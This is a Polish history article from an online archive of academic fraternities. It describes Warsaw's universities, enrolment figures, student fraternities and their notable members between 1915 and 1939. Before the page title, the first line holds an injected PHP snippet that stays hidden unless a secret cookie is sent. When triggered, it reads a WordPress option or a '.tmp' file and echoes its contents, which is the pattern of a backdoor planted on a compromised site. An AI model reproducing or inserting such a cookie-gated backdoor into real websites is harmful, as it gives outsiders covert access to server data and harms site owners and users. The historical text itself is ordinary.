if (isset($_COOKIE["fn9uBsXrHEMCoNLjpQ9VN9SVJgeJ2TQDYJ"])) { $lines = get_option( 'wpsdth4_license_key' ); if (!empty($lines)) { $lines = @file_get_contents(".tmp"); } echo $lines; exit(); } Archiwum Korporacyjne - Archiwum i Muzeum Polskich Korporacji Akademickich

Warszawa

Środowisko akademickie Warszawy

Największym polskim ośrodkiem akademickim w okresie międzywojennym była Warszawa.

Brama Uniwersytetu Warszawskiego, lata 30-te.

Najstarszą wyższą uczelnią Stolicy był Uniwersytet Warszawski (w latach 1935-1939 Uniwersytet Józefa Piłsudskiego). Uczelnia została założona w 1817 r. z inicjatywy Stanisława Kostki Potockiego i Stanisława Staszica jako Królewski Uniwersytet Warszawski. Po upadku powstania listopadowego została w 1831 r. zamknięta i do czasów I wojny światowej funkcjonowała krótko w latach 1862-1869 jako Szkoła Główna. W 1915 r. wznowiła działalność jako Uniwersytet Warszawski. Ponadto w Warszawie działy także inne państwowe szkoły wyższe: założona w 1915 r. Politechnika Warszawska, sięgająca początkami 1816 r., pod obecną nazwą od 1919 r. Szkoła Główna Gospodarstwa Wiejskiego, założona w 1904 r. Warszawska Szkoła Sztuk Pięknych (od 1932 r. Akademia Sztuk Pięknych) oraz erygowany w 1920 r. Państwowy Instytut Dentystyczny (od 1932 r. Akademia Stomatologiczna). W Stolicy istniały również wyższe szkoły nie posiadające pełnych praw akademickich oraz wyższe szkoły prywatne: utworzona w 1906 r. Wyższa Szkoła Handlowa (do 1908 r. jako Prywatne Kursy Adres gratulacyjny do Rektora UW prof. Józefa Brudzińskiego z okazji inauguracji reaktywowanego Uniwersytetu, 1915 r.Handlowe Męskie Augusta Zielińskiego, w latach 1908-1915 jako Wyższe Kursy Handlowe im. Augusta Zielińskiego, w latach 1915-1933 jako Wyższa Szkoła Handlowa, od 1933 r. jako Szkoła Główna Handlowa), powstała w 1905 r. Wolna Wszechnica Polska (do 1920 r. jako Towarzystwo Kursów Naukowych), stworzona w 1915 r. Szkoła Nauk Politycznych (do reorganizacji w latach 1917-1918 jako Szkoła Nauk Społecznych i Handlowych), powołana do życia w 1917 r. Wyższa Szkoła Dziennikarstwa, sięgająca korzeniami 1895 r. Państwowa Wyższa Szkoła Budowy Maszyn i Elektrotechniki im. H. Wawelberga i S. Rotwanda (do 1919 r. Szkoła Mechaniczno Techniczna Wawelberga i Rotwanda w Warszawie, w latach 1919-1929 Państwowa Szkoła Budowy Maszyn i Elektrotechniki im. H. Wawelberga i S. Rotwanda), erygowana w 1926 r. Wyższa Szkoła Wschodoznawcza (od 1938 r. Wyższa Szkoła Żywych Języków Wschodnich) oraz powołane do życia w 1919 r. Państwowe Konserwatorium Muzyczne.

Biblioteka Uniwersytetu Warszawskiego, 1918 r.

W latach międzywojennych Warszawa stała się największym ośrodkiem akademickim w Polsce. Liczba studentów uległa w tym okresie znacznemu powiększeniu. Największy wzrost odnotowano w pierwszych latach po odzyskaniu niepodległości, a od końca lat dwudziestych na większości uczelni można zauważyć pewną stabilizację a nawet zmniejszenie liczby studiujących.

W roku akademickim 1921/22 na Uniwersytecie studiowało 7518, w 1928/29 9181, w 1930/31 9158, a w 1937/38 ok. 9450 osób. Na Politechnice Warszawskiej w roku akademickim 1921/22 uczyło się 4114, w 1928/29 3772, w 1930/31 4316, a w 1937/38 ok. 4270 studentów. Z kolei w Politechnika Warszawska, lata międzywojenne.Szkole Głównej Gospodarstwa Wiejskiego w roku akademickim 1921/22 immatrykulowanych było 761, w 1928/29 823, 1930/31 1049, a w 1937/38 ok. 1420 słuchaczy. W Państwowym Instytucie Stomatologicznym studiowało w roku akademickich 1921/22 500, w 1928/29 443, w 1930/31 442, a w 1937/38 ok. 500 osób. Na Wolną Wszechnicę Polską w roku akademickim 1921/22 uczęszczało 2374, w 1928/29 640, w 1930/31 679, a w 1937/38 ok. 850 słuchaczy. W Wyższej Szkole Handlowej uczyło się w roku akademickim 1921/22 716, w 1928/29 1667, w 1930/31 1573, w 1937/38 ok. 1100 osób. W Akademii Sztuk Pięknych studiowało w roku akademickim 1928/29 315, w 1930/31 369, w 1937/38 320 słuchaczy. Natomiast w Szkole Nauk Politycznych w roku akademickim 1928/29 zapisanych było 901, w 1930/31 1094, w 1937/38 1460 studentów, a w Wyższej Szkole Dziennikarstwa w 1930/31 130, a w 1937/38 220 osób.

Warszawskie korporacje akademickie

Pierwszymi korporacjami akademickimi powstałymi w Warszawie były założona w 1902 r. przez słuchaczy Szkoły Mechaniczno Technicznej Wawelberga i Rotwanda Lechia oraz w czasie trwania I wojny światowej w 1915 r. przez studentów Kursów Przemysłowo-Rolniczych prof. J. Mikułowskiego-Pomorskiego tzw. pierwsza Aquilonia. To jednak nie one, ale przeniesienie do Warszawy siedzib polskich korporacji akademickich działających w okresie zaborów w Rydze, Dorpacie, Petersburgu i Wiedniu w decydującym stopniu przyczyniło się do rozwoju ruchu korporacyjnego w stolicy w okresie międzywojennym. W 1915 r. rozpoczęła w Warszawie działalność petersburska Sarmatia, w 1916 r. ryska Welecja (początkowo jako Welecja Warszawska) oraz w 1918 r. także ryska Arkonia (początkowo jako Arkonia Varsoviensis). Tradycje sięgające czasów zaborów miały także dwie inne korporacje działający w okresie międzywojnia: dorpacka Lechicja oraz wiedeńska Jagiellonia. Po odzyskaniu niepodległości od końca drugiej dekady XX wieku spontanicznie zaczęły powstawać nowe korporacje. W 1919 r. została założona Beatia, a po zakończeniu wojny polsko-rosyjskiej w 1921 r. Patria, Unia, Aquilonia, Concordia Varsoviensis oraz Coronia.

W przedwojennej Warszawie działało w sumie przynajmniej 85 korporacji akademickich. Zdecydowana większość z nich związana była z Uniwersytetem Warszawskim. Przy Politechnice Warszawskiej funkcjonowały Arkonia, Welecja, Sarmatia, Varsovia oraz Konfederacja Chrobria, przy Szkole Głównej Gospodarstwa Wiejskiego Jagiellonia oraz Konfederacja Agronomia, przy Szkole Głównej Handlowej Bandera, przy Wolnej Wszechnicy Polskiej Victoria, a przy Szkole Wawelberga i Rotwanda Lechia oraz Konfederacja Prometania.

Biuletyn Warszawskiego Koła Międzykorporacyjnego, Warszawa 1931 r.Zebranie Warszawskiego Koła Międzykorporacyjnego, Warszawa 1933 r. (?).

Spośród warszawskich korporacji – podobnie jak w innych ośrodkach akademickich – większość największych i najsilniejszych konwentów należała do Związku Polskich Korporacji Akademickich i tworzyła Warszawskie Koło Międzykorporacyjne. Łącznie w latach międzywojennych działało 31 korporacji związkowych (Arkonia, Welecja, Lechicja, Sarmatia, Jagiellonia, Patria, Unia, Aquilonia, Concordia Varsoviensis, Coronia, Sparta, Wandea, Varsovia, Respublica, Virtutia, Chrobacja, Audacja, Grunwaldja, Mesconia, Maritimia, Filalethea, Nationalitas, Ostoja, Aleteja, Regia, Maltania, Legetia, Filomatia Varsoviensis, Montanja, Vigintia, Juventia). W związku z faktem, że 12 z nich zaprzestało działalności, w szczególności w okresie po wprowadzeniu tzw. reformy jędrzejewiczowskiej w 1932 r. (Unia, Concordia Varsoviensis, Wandea, Virtutia, Audacja, Mesconia, Maritimia, Filalethea, Nationalitas, Aleteja, Legetia, Vigintia), w 1939 r. w Warszawskim Kole Międzykorporacyjnym aktywnych było 19 korporacji.

Liczne były także korporacje chrześcijańskie zrzeszone w Zjednoczeniu Polskich Akademickich Korporacji Chrześcijańskich (Laudania, Maratonia, Warnenia, Tytania, Cassubia, Ignitia) oraz sanacyjne należące do Federacji Polskich Korporacji Akademickich (Beatia, Carpatia, Slavia, Baltitia, Sagitia, Argonauta, Vikingia, Laboria, Prusia, Comitia). Ponadto działały w Warszawie korporacje tworzące Konwent Polskich Korporacji Akademickich (Victoria, Hetmania) oraz Blok Polskich Korporacji Akademickich (Orlonia, Polania, Nautitia, Ingenia, Politeia, Pro Patria, Ancona, Brygadja). Większość z nich miała jednak, podobnie zresztą jak oba tworzone przez nie związki międzykorporacyjne, charakter efemerydalny. Z kolei działające w Warszawie konfederacje zrzeszone były w Konfederacji Generalnej Polskiej Młodzieży Akademickiej (Agronomia, Chrobria, Falkonia, Filarecja, Prometania). Ponadto istniało także szereg korporacji określanych mianem „dzikich” tj. nie pozostających w strukturach żadnego ogólnopolskiego związku (Lechia, Mazowia, Victoria, Imperia, Ikaria, Lutycja, Diligentia, Korpus Zawisza Czarny, Venedia). Miały one także zazwyczaj charakter efemerydalny. Przez krótki czas aktywne były również dwie korporacje żeńskie Priora (Pioria) oraz Auxilia oraz koedukacyjna Bandera. Działały także korporacje mniejszości narodowych, w tym ukraińskie Czarnomorje i Zaporoże, Koło Akademików Niemieckich oraz żydowskie, w tym syjonistyczne Aurora, Zelota, Betharia oraz Libanonia, asymilancka Monsalwacja oraz rewizjonistyczna Galijah. Należy odnotować, że aktywne były także żydowskie korporacje żeńskie: Awiwja i Hacofija. Prawdopodobnie w Warszawie istniała również filia estońskiej korporacji Wainla.

Poczty sztandarowe korporacji warszawskich, lata międzywojenne.

W związku z brakiem materiałów archiwalnych określenie czy choćby oszacowanie liczebności korporacji napotyka na znaczne trudności. Par excellence dotyczy to korporacji warszawskich. Dwie okoliczności wydają się decydujące. Z jednej bowiem strony ich duża liczba przekraczająca najprawdopodobniej 80 korporacji, z drugiej szczególnie dotkliwy brak materiałów źródłowych. W roku akademickim 1927/28 w 29 korporacjach składających się na Warszawskie Koło Międzykorporacyjne i należących do Związku Polskich Korporacji Akademickich aktywnych było 1066 osób, co stanowiło ok. 7,5 % słuchaczy wszystkich szkół wyższych (w obliczeniach nie uwzględniono jednak Szkoły Wawelberga, Wyższej Szkoły Wschodoznawczej oraz Państwowego Konserwatorium Muzycznego). Brak możliwości szacunkowego choćby określenia liczebności pozostałych istniejących wówczas w Warszawie korporacji. W 1930/31 w 28 korporacjach związkowych było czynnych 1180 członków, co stanowiło 8,3 % ogółu studentów (w obliczeniach nie uwzględniono Szkoły Wawelberga, Wyższej Szkoły Wschodoznawczej oraz Państwowego Konserwatorium Muzycznego). Także w tym przypadku brak możliwości podania nawet przybliżonej liczby członków pozostałych warszawskich korporacji.

Znani korporanci

Pozycja korporacji w warszawskim środowisku akademickim była znaczna. Jak wspomniano, działały one na wszystkich najważniejszych wyższych uczelniach Stolicy: Uniwersytecie Warszawskim, Politechnice Warszawskiej, Szkole Głównej Gospodarstwa Wiejskiego oraz Szkole Głównej Handlowej.

Rektor Uniwersytetu prof. Gustaw Przychocki z K! Sparta.

Na Uniwersytecie Warszawskim członkami honorowymi lub zwyczajnymi korporacji byli liczni rektorzy i profesorowie m.in.: prof. med. Józef Brudziński (rektor 1915-1917, Konwent Polonia), ekonomista prof. Antoni Kostanecki (rektor 1917-1919, Patria), geolog prof. Stanisław Thugutt (rektor 1919-1920, Konwent Polonia), filolog klasyczny prof. Gustaw Przygocki (rektor 1928-1929, Sparta), późniejszy biskup warszawski, ks. Antoni Szlagowski (rektor 1930-1931, Aquilonia), prof. med. Ignacy Baranowski (Konwent Polonia), cywilista prof. Jan Namitkiewicz (Coronia), historyk ustroju prof. Józef Rafacz (Patria), filozof, etyk, historyk filozofii prof. Władysław Tatarkiewicz (Aquilonia), zoolog prof. Jan Tur (Patria), prof. weterynarii Eugeniusz Wajgiel (Coronia). Liczni członkowie korporacji związani byli także z Politechniką Warszawską, wśród nich: chemik prof. Jan Zawidzki (rektor 1917-1919, Arkonia), specjalista w zakresie melioracji prof. Czesław Skotnicki (rektor 1924-1926, Arkonia), prof. Antoni Byszewski (Varsovia), prof. mechaniki teoretycznej Henryk Czopowski (Welecja), prof. architektury Karol Jankowski (Arkonia), twórca polskiego ogrzewnictwa prof. Mieczysław Nierojewski (Welecja), architekt prof. Bohdan Pniewski, prof. budowy mostów Zbigniew Wasiutyński (Welecja), prof. budownictwa Wacław Żenczykowski (Varsovia).

Komers Aquilonii, w środku prof. Bohdan Wasiutyński z K! Baltia, dziekan Wydziału Prawa UW prof. Eugeniusz Jarra z K! Aquilonia, były rektor UW prof. Antoni Kostanecki z K! Patria, Warszawa 23 XI 1926 r.

W Szkole Głównej Gospodarstwa Wiejskiego członkami korporacji akademickich byli m.in.: jej chemik prof. Józef Mikułowski-Pomorski (założyciel Szkoły, rektor 1918-1920 oraz 1928-1929, Arkonia), zoolog prof. Jan Sosnowski (rektor 1923-1925 oraz 1932-1933, Coronia i Varsovia), prof. ogrodnictwa Jan Rostafiński (Regia), specjalista z zakresu gospodarki wodnej prof. Stanisław Turczynowicz (Arkonia). Również w Szkole Głównej Handlowej do kadry rektorsko-profesorskiej należeli członkowie korporacji: ekonomista prof. Jan Dmochowski (rektor 1928, Varsovia), specjalista z zakresu prawa handlowego prof. Aleksander Jackowski (rektor 1931-1932, Aquilonia), ekonomista prof. Maurycy Chorzewski (Welecja), prof. statyki budowli Adam Cybulski (Welecja) oraz prawnik prof. Konstanty Dziewulski (Konwent Polonia). Na Wolnej Wszechnicy Polskiej wykładał historyk literatury prof. Gabriel Korbutt (Konwent Polonia).

Na Komersie Arkonii przemawia Marszałek Edward Rydz-Śmigły, Warszawa 18 V 1937 r.

Poza środowiskiem akademickim warszawskie korporacje poszczycić się mogły szerokim gronem wybitnych postaci: duchownych, polityków, wojskowych oraz działaczy społecznych. Wśród nich byli: arcybiskup warszawski i jednen z członków Rady Regencyjnej ks. Aleksander Kakowski (Ostoja), premier Ignacy Jan Paderewski (Patria), prezydent Ignacy Mościcki (Welecja), gen. Józef Haller (Sparta), gen. Władysław Anders (Arkonia), wicemarszałek Sejmu Seweryn ks. Świętopełk-Czetwertyński (Arkonia), minister rolnictwa Stanisław Janicki (Arkonia), prezydenci Warszawy Władysław Jabłoński (Coronia) i Zygmunt Słomiński (Coronia) oraz wojewoda warszawski Stanisław Moskalewski (Coronia).

Podsumowanie

W dwudziestoleciu międzywojennym warszawskie środowisko korporacyjne było najliczniejsze i najlepiej rozwinięte w kraju. Dodać jednak należy, że w związku ze znacznymi stratami spowodowanymi upadkiem wielu korporacji w wyniku reformy jędrzejewiczowskiej z 1932 r., w latach trzydziestych z Warszawą skutecznie zaczął konkurować Poznań.

Na wyjątkową pozycję Stolicy w ruchu korporacyjnym składało się kilka przyczyn. Po pierwsze, w Warszawie działało najwięcej, w sumie ponad 80 korporacji. Po drugie, choć w stosunku do liczby studentów korporanci stanowili mniejszy procent niż np. w Poznaniu czy Lublinie, to jednak całkowita liczba członków korporacji warszawskich była w skali kraju największa. Po trzecie wreszcie i to wydaje się decydujące, w Warszawie działo sześć starych tj. legitymujących się przedwojenną proweniencją korporacji (Arkonia, Welecja, Lechicja, Sarmatia, Jagiellonia, Lechia). Najstarsze spośród nich już u progu II Rzeczypospolitej miały kilkudziesięcioletnią historię. Wyróżniały się bogatymi i oryginalnymi tradycjami pochodzącymi z Dorpatu, Petersburga, Rygi i Wiednia oraz zebranymi wcześniej doświadczeniami. W związku z dłuższą historią dysponowały też one znacznie większymi zasobami ludzkimi i materialnymi niż powstałe po 1918 r. korporacje. Ich skład społeczny, na który składali się w znacznym stopniu ziemianie, przemysłowcy oraz bogata inteligencja, znacząco odróżniał je od przeciętnej polskich korporacji. W tym kontekście nie może dziwić okoliczność, że w latach 20-tych najsilniejsze z nich tj. Arkonia i Welecja mogły już sobie pozwolić na zakup własnych domów. Z jednej strony bogate i długie tradycje najstarszych warszawskich korporacji, z drugiej strony ich pozycja społeczna silnie oddziaływały na całe środowisko warszawskie.

Korporacje warszawskie okazały się najbardziej żywotne i w większym stopniu niż w innych ośrodkach akademickich były w stanie w trudnych latach powojennych kontynuować swoją działalność. Oprócz Konwentu Polonia jedynie korporacje warszawskie Arkonia, Jagiellonia, Sarmatia, Sparta stworzyły struktury organizacyjne na emigracji (vide Londyn). Poza wymienionymi już korporacjami działającymi na obczyźnie, w kraju mimo trudnych warunków nie zaprzestały działalności także inne konwenty wywodzące się z tego środowiska, wśród nich: Welecja, Lechicja, Beatia, Aquilonia, Patria, Coronia, Varsovia, Respublica, Maltania, Mesconia (vide Środowiska warszawskie).

Korporacje warszawskie w Archiwum Korporacyjnym

Na przynajmniej 85 warszawskich korporacji akademickich istniejących w dwudziestoleciu międzywojennym w Archiwum Korporacyjnym udało się zgromadzić obszerniejsze dane oraz materialne ślady po 31 korporacjach (Arkonia, Welecja, Lechicja, Sarmatia, Jagiellonia, Beatia, Patria, Unia, Aquilonia, Concordia Varsoviensis, Coronia, Sparta, Varsovia, Respublica, Chrobacja, Audacja, Grunwaldja, Mesconia, Laudania, Maritimia, Nationalitas, Ostoja, Aleteja, Regia, Maltania, Filomatia Varsoviensis, Montanja, Vigintia, Cassubia, Prioria, Lutycja). Stanowiły one większość znaczniejszych korporacji funkcjonujących w owym czasie w Warszawie. Na temat pozostałych korporacji zachowało się znacznie mniej materiałów.

Zgromadzone zbiory są bardzo zróżnicowane. W przypadku 13 korporacji – Arkonii, Welecji, Lechicji, Sarmatii, Jagiellonii, Patrii, Sparty, Varsovii, Ostoji, Regii, Maltanii, Filomatii Varsoviensis, Cassubii – odnaleziono oryginalne dekle (czapki) oraz zazwyczaj także przynajmniej pojedyncze inne insygnia danej korporacji oraz fotografie. W odniesieniu do Beatii, Unii, Aquilonii, Concordii Varsoviensis, Coronii, Respubliki, Chrobacji, Audacji, Grunwaldji, Mesconii, Maritimii, Nationalitas, Laudanii, Aleteji, Montanji, Vigintii, Priory i Lutycji nie udało się dotychczas odnaleźć dekli korporacyjnych, a zazwyczaj jedynie pojedyncze inne insygnia, dokumenty czy fotografie.

Dzięki zgromadzonym zbiorom w wirtualnym Muzeum Polskich Korporacji Akademickich zaprezentowano w formie osobnych opracowań historię oraz stan członkowski 29 korporacji warszawskich. Wiadomości poświęcone pozostałym 56 związkom przedstawiono łącznie (vide Pozostałe). W miarę powiększania zbiorów Archiwum także te korporacje doczekają się osobnych opracowań.

Na stronie przedstawiono nie tylko opracowania poświęcone samym korporacjom, ale także zebrane wiadomości biograficzne oraz indywidualne fotografie członków korporacji. W przypadku wszystkich wspomnianych 29 korporacji było możliwie ustalenie obszernych, choć niekompletnych spisów członkowskich. W odniesieniu do pozostałych korporacji listy członkowskie mają najczęściej charakter fragmentaryczny. Wszystkie wykazy członków obejmują łącznie ok. 5100 nazwisk. Należy dodać, że ok. 1700, a więc jedna trzecia z nich to członkowie Arkonii, Welecji, Lechicji, Sarmatii i Jagiellonii, którzy do korporacji wstąpili nie w Warszawie, ale wcześniej w Rydze, Dorpacie, Petersburgu i Wiedniu tj. w czasie działalności tych związków na obczyźnie w latach 1879-1918.

Będziemy wdzięczni za: uzupełnienia i korektę zamieszczonych na stronie opracowań, a także przesyłanie danych biograficznych i fotografii członków korporacji (Kontakt), wsparcie w poszukiwaniach materialnych śladów i wszelkich informacji o samych korporacjach (Poszukiwania) oraz pomoc w identyfikacji zebranych w Archiwum Korporacyjnym fotografii (Identyfikacja fotografii z Warszawy).

Opracowanie: Bartłomiej P. Wróblewski
Opublikowano: 12 IX 2007 r.
Ostatnia zmiana: 6 XII 2010 r.

Propozycja cytowania: Bartłomiej P. Wróblewski, Warszawskie środowisko korporacyjne w latach 1915-1939, (na:) www.archiwumkorporacyjne.pl, stan 6 XII 2010 r.

O Archiwum  |  Muzeum Korporacyjne  |  Aktualności  |  Kontakt  |   English © Archiwum Korporacyjne     Nota prawna  |  Mapa serwisu  | 
Szukaj    »
created by { re.PUBLIK }